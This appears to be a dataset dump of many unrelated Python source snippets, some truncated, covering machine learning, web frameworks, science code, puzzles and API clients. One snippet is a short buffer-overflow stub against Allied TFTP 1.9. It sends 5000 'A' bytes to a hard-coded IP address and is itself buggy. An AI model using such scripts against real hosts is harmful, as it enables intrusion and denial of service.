content
stringlengths
5
1.05M
from .rd_model import ReachingDefinitionsModel from .key_definition_manager import KeyDefinitionManager from .live_definitions import LiveDefinitions from .uses import Uses from . import atoms
from polyBlueClient import PolyBlueClient # Be sure to import the Python module from the polyBlueClient.py file in your code # Call the PolyBlueClient class and pass it the name of your BlueMix application # In this example, the BlueMix application is running under 'tornado-polyblue', # and can be accessed from http:/...
import os import sys from datetime import date import pystache import pypandoc def from_path(f): return os.path.basename(f)[:-3] def out_file(f): return "{}.html".format(from_path(f)) def title(f): return from_path(f).replace("_", " ") def render(tpl, target): with open(target) as f: c...
""" gof.py gof stands for Graph Optimization Framework. The gof submodule of theano implements a framework for manipulating programs described as graphs. The gof module defines basic theano graph concepts: -Apply nodes, which represent the application of an Op to Variables. Together these make up a graph. -Th...
# -*- coding: utf-8 -*- from __future__ import absolute_import import os from bandit.cli.main import _get_profile, _init_extensions from bandit.core.config import BanditConfig from bandit.core.constants import RANKING from bandit.core.manager import BanditManager from prospector.message import Location, Message from...
import face_recognition import cv2 import numpy as np from PIL import Image import io,os,sys encodings = [] names =[] def getData(encodings, names): dir = "image1/" train_dir = os.listdir(dir) for person in train_dir: pix = os.listdir(dir + person) for i in range(3): ...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Sun Aug 23 12:11:15 2020 This module is a modified implementation of modules from the following: [1] Bhagwat et al., Sustainable Production of Acrylic Acid via 3-Hydroxypropionic Acid from Lignocellulosic Biomass. ACS Sustainable Chem. Eng. 2021, 9 (49), 16...
# -*- coding: utf-8 -*- """ Copyright (c) 2018 beyond-blockchain.org. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable l...
# Copyright (c) 2013-2014 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Un...
############################################################################### '''''' ############################################################################### import numpy as _np from . import _classtools from . import _Ptolemaic from . import _ur class DatalikeMeta(type(_Ptolemaic)): @property de...
# -*- coding: utf-8 -*- """ Solution uses recurence relation for infinite continued fractions i.e. sqrt(2) = [1, 2, 2, 2, ...] p_n = a*p_(n-1) + p_(n-2) q_n = a*q_(n-1) + q_(n-2) where p_n/q_n is the continued fration expansion of sqrt(2) and a = 2 Page 366 of: http://people.math.binghamton.edu/dikran/478/Ch7.pdf "...
import setuptools setuptools.setup( name="Adwords Report Downloader", author="Adam Cunnington", author_email="adam.cunnington@wmglobal.com", license="MIT", packages=setuptools.find_packages(), package_data={"": ["googleads.yaml"]}, install_requires=["click", "googleads", "pyyaml"], ent...
""" Python example for this Rosetta Code task: http://rosettacode.org/wiki/15_puzzle_solver Using A* Algorithm from Wikkipedia: https://en.wikipedia.org/wiki/A*_search_algorithm Need to use heuristic that guarantees a shortest path solution. """ import heapq import copy # Hopefully this is larger than any fscor...
# %% load import dash from dash import dcc, html from dash.dependencies import Input, Output from datetime import datetime import pandas as pd import plotly.graph_objects as go import plotly.express as px # %% sample data df = pd.DataFrame([ {"date": datetime.strptime("2020-01-05", "%Y-%m-%d"), "speed": 8.1},...
import numpy as np import cv2 """ >>>>some parameters to be used for video recording """ filename = 'video.avi' fps = 20.0 #fit macbook pro media output dimension = (1280,720) fourcc = cv2.VideoWriter_fourcc(*'avc1') """ >>>>resize captured video >>>>.shape returns the dimension of captured images in tuple (rows, ...
# Copy metadata that can't be copied with mp update -P import metapack as mp import subprocess as sp from os.path import exists, join from os import remove, mkdir pkg = mp.open_package('.') print("Package: ", pkg.package_url) pdb = pkg.reference('planning_db_sd') col_map = { c['header'].replace('_acs_12_16','').re...
import os import unittest import numpy as np import torch from pytorch_common import utils from pytorch_common.additional_configs import BaseModelConfig from pytorch_common.models import create_model from pytorch_common.types import Callable, Dict, List, Optional, Tuple, Union, _Batch class TestUtils(unittest.TestC...
import pytest from novelsave_sources import models as sm from novelsave.core import dtos from novelsave.utils.adapters import SourceAdapter @pytest.fixture def source_adapter() -> SourceAdapter: return SourceAdapter() def test_novel_to_internal(source_adapter): test_novel = sm.Novel( title="title",...
# Copyright (C) 2019-2020, Therapixel SA. # All rights reserved. # This file is subject to the terms and conditions described in the # LICENSE file distributed in this package. """Test that the parsing DICOM tags and persisting results to JSON format can be correctly done. """ import json import os import pandas as pd...
A,B=100,100 for _ in range(int(input())): AA,BB=map(int,input().split()) if AA==BB: continue if AA>BB: B-=AA else: A-=BB print(A) print(B)
import mock from freezegun import freeze_time import pytest from dmscripts.data_retention_remove_user_data import data_retention_remove_user_data, MailchimpRemovalFailed class TestDataRetentionRemoveUserData: def _find_users_iter_side_effect(self, *args, **kw): return (user for user in ( { ...
from math import * import random def field_plist(num_points,rad,x_bound,y_bound): point_list=[] count = 0 while count < num_points: x=random.randrange(x_bound) y=random.randrange(y_bound) if dont_overlap(x,y,rad,point_list): point_list.append((x,y)) count += 1 return point_list def dont_overlap(x_poin...
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
import random random.seed(a=2021) import lime import pandas as pd import numpy as np from tqdm import tqdm np.random.seed(seed=2021) from lime import lime_text from lime.lime_text import LimeTextExplainer from keras.preprocessing.sequence import pad_sequences from keras.models import Model, Input from keras.layers im...
# Example Python script to work with HP VAN SDN controller 2.4.5 # Tomas Kubica # Print end-points import argparse import requests import json # Read login information from file f = open('mylogin.txt', 'r') login = json.loads(f.readlines()[0]) f.close headers = {'content-type': 'application/json', 'x-auth-token': l...
import sys import time import os import numpy as np from pymongo import MongoClient # 连接mongoDB,读取配置 from bson.objectid import ObjectId # models from sklearn.naive_bayes import MultinomialNB as MNB from sklearn.svm import LinearSVC # score from sklearn.metrics import accuracy_score from sklearn.metrics import precis...
# Project: GBS Tool # Author: Jeremy VanderMeer, jbvandermeer@alaska.edu, Alaska Center for Energy and Power # Date: October 2, 2018 # License: MIT License (see LICENSE file of this package for more information) # imports import numpy as np class wtgDispatch: def runDispatch(self,wf, newWtgP, newWtgQ = 0): ...
# --------------------------------------------------------------------- # inv.vendor application # --------------------------------------------------------------------- # Copyright (C) 2007-2019 The NOC Project # See LICENSE for details # --------------------------------------------------------------------- # NOC modu...
# import Kratos import KratosMultiphysics from KratosMultiphysics import * from KratosMultiphysics.CompressiblePotentialFlowApplication import * ##### SMALL TESTS ##### from potential_flow_test_factory import PotentialFlowTests # Import Kratos "wrapper" for unittests import KratosMultiphysics.KratosUnittest as Kratos...
import torch.nn as nn # Define the resnet block class ResnetBlock(nn.Module): def __init__(self, dim, dilation=1): super(ResnetBlock, self).__init__() self.conv_block = nn.Sequential( nn.ReflectionPad2d(dilation), nn.Conv2d(in_channels=dim, out_channels=dim, kernel_size=3, ...
# str greeting = "Hello!" print(type(greeting)) # int - целое число age = 20 print(type(age)) # float - число с плавающей точкой avg_mark = 4.5 print(type(avg_mark)) # bool - логический тип (истина, или ложь) is_man = True print(type(is_man))
from dotenv import load_dotenv from tmdbv3api import TMDb, TV import os load_dotenv() db_path = "serie_db.db" api_key = os.getenv("API_KEY") # initialize tmdb tmdb = TMDb() tmdb.api_key = api_key tmdb.language = "en" tmdb.debug = True # initialize the tv object to be used later tv = TV()
COLORS = [ (255, 0, 0), (0, 255, 0), (0, 0, 255), (255, 255, 0), (255, 0, 255), (0, 255, 255), (128, 255, 0), (255, 128, 0), (128, 0, 255), (255, 0, 128), (0, 128, 255), (0, 255, 128), (128, 255, 255), (255, 128, 255), (255, 255, 128), (60, 180, 0), (1...
# -*- coding: utf-8 -*- from django.contrib import admin from admin_sort.admin import SortableAdminMixin, SortableInlineAdminMixin from admin_sort.admin.inlines import DropdownSortableInlineMixin from . import models class ChapterInline(SortableInlineAdminMixin, admin.StackedInline): model = models.Chapter fi...
from dataclasses import replace from test.pycardano.test_key import SK from test.pycardano.util import chain_context import pytest from pycardano.address import Address from pycardano.certificate import StakeCredential, StakeDelegation, StakeRegistration from pycardano.coinselection import RandomImproveMultiAsset fro...
import os import torch import torch.nn as nn import time from utils.loaders import get_optimizer, get_scheduler, get_generator, get_encoder, get_transform from utils.losses import PerceptualLoss, per_pixel_l2_dist l1_loss = nn.L1Loss(reduction='none') lpips = PerceptualLoss().cuda() class DefenseGANProjection(torch.a...
from __future__ import division, print_function import pandas as pd import numpy as np import math from Basic import get_group def Utility(data, data_new): df = pd.concat((data, data_new), axis=0) df = df.drop_duplicates() df.index = range(df.__len__()) L1 = 0.0 L2 = 0.0 Chisqr = 0.0 gro...
from sp_api.base import Client, Marketplaces, ApiResponse from sp_api.base import sp_endpoint, fill_query_params class FulfillmentInbound(Client): @sp_endpoint("/fba/inbound/v0/itemsGuidance") def item_guidance(self, **kwargs): """ item_guidance(self, **kwargs) Examples: l...
class Solution(object): def intersect(self, nums1, nums2): """ :type nums1: List[int] :type nums2: List[int] :rtype: List[int] """ dict = {} for n in nums2: if n not in dict: dict[n] = 1 else: dict[n] +=...
from cafebabel import create_app, register_cli app = create_app('config.DevelopmentConfig') register_cli(app)
#! /usr/bin/env python3 # -*- coding: utf-8 -*- import gettext import sys from ikabot.config import * from ikabot.helpers.gui import * from ikabot.helpers.pedirInfo import read from ikabot.helpers.getJson import getCity t = gettext.translation('vacationMode', localedir, languages=languages, fallback=True) _ = t.gette...
from math import * from cmath import rect as from_polar from itertools import * from frostsynth import * from frostsynth.fft import * from frostsynth.polytable import * four_pi = 4 * pi def sineping_gen(amplitude, frequency, decay, phi=0, srate=None): """Generates amplitude * sin(2 * pi * t * frequency + phi) ...
from .development import * DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'ATOMIC_REQUESTS': True, }, } TEST_OUTPUT_DIR = os.path.join(BASE_DIR, '..', 'test_output') LOGGING['loggers']['django']['handlers'] = ['file'] LOGGING['loggers']['accounts']['handlers'] = ['file'] L...
import string from django import template register = template.Library() @register.filter() def contains(value, arg): """ Usage: {% if link_url|contains:"http://www.youtube.com/" %} Stuff {% else %} Not stuff {% endif %} """ return arg in value @register.filter() def str2tokens(...
def migrate(doc): # Squash the taxonomy doc.taxonomy = ' '.join([doc.genus, doc.species]) del doc.genus del doc.species for enc_doc in doc.encounters: enc_doc.taxonomy = ' '.join([enc_doc.genus, enc_doc.species]) del enc_doc.genus del enc_doc.species return doc
from django.conf import settings from django.db import models from rest_framework.authtoken.models import Token as DefaultTokenModel from .utils import import_callable from django.contrib.auth.models import User from datetime import datetime from django.core.validators import MaxValueValidator, MinValueValidator, valid...
#!/usr/bin/python import random import os from pathlib import Path def addExternalFiles(config,location): #location is either "headStart" or "headEnd" "bodyStart" "bodyEnd" string="" if "additionalFiles" in config: for fileDetails in config["additionalFiles"]: fileLocation=fileDetails[...
class DataMonsterError(Exception): pass
""" title : monitoringManager.py description : This class operates as Monitoring manager. It includes following functions: a) send Interest message to fetch monitoring data of selected SEG. b) process Data message received from SEG c) extract data mess...
exec(open("Modified_data/realtime.py").read()) exec(open("Modified_data/cannon.dr").read())
from ros_build_assistant.parser.cpp import CppFileDescription from ros_build_assistant.parser.python import PythonFileDescription from ros_build_assistant.parser.rosmsg import Ros1MsgFileDescription, Ros1SrvFileDescription parser_types = { ".cpp": CppFileDescription, ".cxx": CppFileDescription, ".CPP": Cpp...
def name_function(): print("Hello") def say_hello(name = 'Name'): return 'Hello ' + name result = say_hello("Jose") print(result) def add(n1, n2): return n1+n2 result = add(9,9) print(result) def dog_check(mystring): if 'dog' in mystring: return True else: return False print(dog_...
import pytest from pandas.compat import is_numpy_dev from pandas import TimedeltaIndex, timedelta_range import pandas._testing as tm class TestTimedeltaIndexDelete: def test_delete(self): idx = timedelta_range(start="1 Days", periods=5, freq="D", name="idx") # preserve freq expected_0 =...
import sys, os, argparse def main(): cstart = '''int main(void) { __asm__ __volatile__ ( \"jmp aftermainorig\\n" ''' cend = '''".text\\n" "aftermainorig:\\n" ); __asm__ __volatile__ ("call %s" : : : "cc", "memory", "eax", "ecx", "esi", "edi"); return 0; } ''' skip = ('.file', '.size', '.ident', '....
import pprint from collections import Counter import luigi import ujson import numpy as np from ..models import PredictModel # This generates a list of products for each user, ranked by how often they are reordered. # It also counts the number of reordered products in each order, so we can get an estimate # of how ...
import torch import torch.nn as nn from typing import Any import timm from timm.models import register_model class MyNet(nn.Module): """ 示例: 自定义backbone = timm特征提取层 + 自定义分类层 """ def __init__(self, pretrained, num_classes): super(MyNet, self).__init__() # timm特征提取层,丢弃分类层 self....
# Copyright (c) 2018, Novo Nordisk Foundation Center for Biosustainability, # Technical University of Denmark. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/lic...
#!/usr/bin/env python import numpy as np data=np.loadtxt('rixs.dat') omega=data[0:100,1] eloss=data[0::100,0] rixs = np.zeros((4, 1000,100), dtype=np.float64) rixs[0] = data[:,2].reshape((1000,100)) rixs[1] = data[:,3].reshape((1000,100)) rixs[2] = data[:,4].reshape((1000,100)) rixs[3] = data[:,5].reshape((1000,100...
#!/usr/bin/python38 from abc import ABCMeta import copy from .investment import Investment from .order import TradeOrder from ..data_engine.data_engine import EventEngine, XrdrEvent from math import ceil import pandas as pd class Account(metaclass=ABCMeta): def __init__(self, name: str, strategy, init_cash=10000...
from typing import Union, List, Optional from pyspark.sql.types import StructType, StructField, StringType, ArrayType, DataType # This file is auto-generated by generate_schema so do not edit it manually # noinspection PyPep8Naming class Bundle_ResponseSchema: """ A container for a collection of resources. ...
import argparse import os from pastel import Pastel import sys from typing import IO, List, Mapping, Optional, Sequence, Tuple, Union from .exceptions import PoeException from .__version__ import __version__ def guess_ansi_support(file): return ( (sys.platform != "win32" or "ANSICON" in os.environ) ...
import requests.exceptions from github import Github, GithubException import os import os.path import glob import time import subprocess # Read inputs & put them into variables if os.environ['INPUT_TOKEN'] == "": print("::error::❌ Missing required input: token") exit(1) token = os.environ['INPUT_TOKEN'] if os....
#!/usr/bin/env python #buffer overflow for allied TFTP 1.9 import socket, sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('10.11.4.94', 69)) sock.connect ((sys.argv[1], 100000)) buffer = "A"*5000 #buffer += "" #buffer += "\x90"*20 #buffer += () sock.send(buffer) sock.close()
""" Module permettant d'interagir avec le SGBD sqlite en ligne de commande dans le shell Placer le module dans le répertoire où stocker la base de donnée puis l'exécuter avant d'utiliser les différentes fonctions suivante dans le shell : affiche(nom_base) execute(nom_base,ordre_SQL) execute_fichier(nom_base,nom_fich...
"""Public API Anything that isn't defined here is INTERNAL and unreliable for external use. """ from .pipeline import ( ls, Creator, install, list_instances, remove_instance, containerise ) from .workio import ( file_extensions, has_unsaved_changes, save_file, open_file, ...
""" Simple utils to get stuff out of Mappings (dict-like objects). """ import operator from functools import reduce # forward compatibility for Python 3 from typing import Any class NotSpecified: pass def key_chain(d, /, *keys, dflt: Any = NotSpecified): """Get a value from a mapping, from a list of possib...
#!/usr/bin/python3 import sys import os import glob all_py_files = set( glob.glob( '../wb*.py' ) +glob.glob('../../Git/wb*.py' ) +glob.glob('../../Svn/wb*.py' ) +glob.glob('../../Hg/wb*.py' ) +glob.glob('../../Common/wb*.py' ) ) with ope...
# Copyright (c) Meta Platforms, Inc. and affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. import re from typing import Dict, Set INTEGER_REGEX = re.compile(r"^[0-9]+$") TIMESTAMP_REGEX = re.compile(r"^[0-9]{10}$") BASE64_REGEX = ...
#!/usr/bin/env python3 CS = "" from poshy import VERSION, aya, poshcorn, hlp import os, getpass, socket, subprocess, shlex os.chdir(os.getenv("HOME")) un = getpass.getuser() hn = socket.gethostname() if ".local" in hn: hn = hn[:-6] id = '$' if un == 'root': id = '#' print("Poshy is unstable on root, because...
# coding: utf-8 # Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. from __future__ import division, print_function, unicode_literals, \ absolute_import from scipy.linalg import polar import numpy as np import itertools import warnings import collections from pymatgen.symm...
def includeme(config): pass
from typing import Optional from promnesia.common import Visit from promnesia.sources.org import extract_from_file from common import tdata, throw def declrf(s: Optional[str]) -> Optional[str]: if s is None: return None # meh.. not sure how ot handle this properly, ideally should be via pytest? #...
### # Copyright 2021 New H3C Technologies Co., Ltd. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
""" Django settings for nebula_mesh_admin project. Generated by 'django-admin startproject' using Django 3.2.7. For more information on this file, see https://docs.djangoproject.com/en/3.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.2/ref/settings/ """ imp...
""" Python script implementing different examples on how to use the FreiStat Python library for the different kinds of electrochemical methods. The example contains the following examples, which can be selected by changing the inital value of iExperiment: iExperiment : EC-Method 0 : Sequence: CV - CA - LSV 1...
import random logo = """ /$$$$$$ /$$ /$$ /$$ /$$ /$$ /$$__ $$ | $$ | $$ | $$$ | $$ | $$ ...
import sys # The package importlib_metadata is in a different place, depending on the python version. if sys.version_info < (3, 8): import importlib_metadata else: import importlib.metadata as importlib_metadata
# -*- coding: utf-8 -*- """Top-level package for wspr.""" __author__ = """Arkadiusz Michal Rys""" __email__ = 'Arkadiusz.Michal.Rys@gmail.com' __version__ = '0.0.4'
from Queue import PriorityQueue from core import * class AStarAlgorithm(Algorithm): def __init__(self, no_discs, no_rods, heuristic=4, restarts=10, initial=[], final=[]): """ Overridden constructor """ Algorithm.__init__(self, no_discs, no_rods, initial, final) self.priorityQueue = Prior...
import os import datetime import logging from bdbag import urlsplit, urlunsplit, urlretrieve, get_typed_exception import bdbag.fetch.auth.keychain as keychain logger = logging.getLogger(__name__) def validate_auth_config(auth): if not keychain.has_auth_attr(auth, 'uri'): return False if not keychain....
""" Diagnostic transect: Diagnostic to produce images of a transect. These plost show either latitude or longitude against depth, and the cube value is used as the colour scale. Note that this diagnostic assumes that the preprocessors do the bulk of the hard work, and that the cube received by this diagnostic (via th...
# # @lc app=leetcode id=166 lang=python3 # # [166] Fraction to Recurring Decimal # # @lc code=start class Solution: def fractionToDecimal(self, numerator: int, denominator: int) -> str: quo, rem = divmod(abs(numerator), abs(denominator)) integer_part = '-' + str(quo) if numerator * \ ...
from asyncio.windows_events import NULL import cv2 as cv import numpy as np import os import platform if platform.system() == "Windows": os.system("cls") else: os.system("clear") # Clear Previous Data f = open("tempGen.txt", "a") f.truncate(0) f = open("tempGenO.txt", "a") f.truncate(0) RGB_White = (255, 255...
from unittest.mock import Mock from numpy.testing import assert_array_equal, assert_array_almost_equal from rl.policies.value_learning import RewardAveragingPolicy from rl.policies.action_selection_strategy import EpsilonGreedy from rl.learningrate import SampleAverageLearningRate class TestRewardAveragingPolicy: ...
# -----------------------------------------------------------------PORTRAY----------------------------------------------------------------------# # AUTHORS # PRABHAV SINGH -> prabhavsingh55221@...
default_app_config = 'geoinfo.apps.GeoInfoConfig'
# Generated by Django 2.1.4 on 2018-12-13 11:54 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('contenttypes', '0002_remove_content_type_name'), ('profiles', '0001_initial'), ] operat...
#!/usr/bin/python from PyQt5.QtWidgets import QWidget, QPushButton, QVBoxLayout, QLabel, QHBoxLayout, QDialog, QFormLayout, QDialogButtonBox, \ QLineEdit, QMessageBox, QSpacerItem, QSizePolicy, QProgressDialog, QTabWidget, QFormLayout, QScrollArea, \ QCheckBox, QC...
class Connection: """Define what behavior a Connection object should have""" def __init__(self): pass def exec(self, statement): """execute SQL statement""" raise NotImplementedError() def transaction(self): """subclass should implement as a context manager""" ...
#! /bin/env python # encoding=utf-8 # ############################################################################# # # Copyright (c) 2019 Baidu.com, Inc. All Rights Reserved # ############################################################################ """ Specify the brief kvdict.py Author: map(zhuoan@baidu.c...
# -*- coding: latin-1 -*- # Copyright (c) 2008 Pycircuit Development Team # See LICENSE for details. import logging from pycircuit.post import InternalResultDict, IVResultDict, Waveform import numpy as np import re ## Result parser class GnucapResult(InternalResultDict, IVResultDict): def __init__(self, s, xlab...
from collections import defaultdict import datetime import itertools import time from matplotlib import pyplot as plt from calculateWealth import calWealth_MAIN from sympy import total_degree # import matplotlib.pyplot as plt import talib as ta import pandas as pd import csv import numpy as np from datetime import dat...
from rest_framework import serializers from aluraflix.models import Programa class ProgramaSerializer(serializers.ModelSerializer): class Meta: model = Programa fields = ['titulo', 'tipo', 'data_lancamento', 'likes']
# Generated by Django 3.2.1 on 2021-07-31 17:07 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('scripts', '0010_auto_20210726_1634'), ] operations = [ migrations.AlterField( model_name='scriptsnippet', name='code...
# Generated by Django 3.2.4 on 2021-06-21 13:25 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('quiz', '0020_result'), ] operations = [ migrations.DeleteModel( name='Result', ), ]
import sys import boto3 import json t = sys.argv[1] # text l = sys.argv[2] # language code, e.g. en r = sys.argv[3] # region, e.g. us-east-1 comprehend = boto3.client(service_name='comprehend', region_name=r) # print (comprehend.detect_sentiment(Text=t, LanguageCode=l)) print (json.dumps(comprehend.detect_sent...
from heapq import * class Solution: def connectSticks(self, sticks: List[int]) -> int: if len(sticks) <= 1: return 0 heapify(sticks) ans = 0 lastOne,lastTwo = 0,0 while len(sticks) != 1: lastOne = heappop(sticks) lastTwo = heappop(sticks) ...
''' Created on 9 Apr 2020 @author: Ronny Andersson (ronny@andersson.tk) @copyright: (c) 2020 Ronny Andersson @license: MIT ''' # Standard library import logging # Third party import matplotlib.pyplot as plt import numpy as np # Internal import zignal if __name__ == '__main__': logging.basicConfig( form...
''' merge_sort: list -> list Takes a list and returns a sorted list Splits the list into a tree by cutting it in half and recursively applying merge_sort to the split lists Then sorts the lists as it moves back up the tree Sorts in O(nlog(n)) ''' def merge_sort(alist): if len(alist)>1: ...
from romUtils import read_offset_data from data.moveData import move_map offset_move_map = {moveId - 7: move for moveId, move in move_map.items() if moveId >= 7} read_offset_data(init_offset=0x5c4c0, data_size=4, num_elements=399, read_size=4, index_dict=offset_move_map)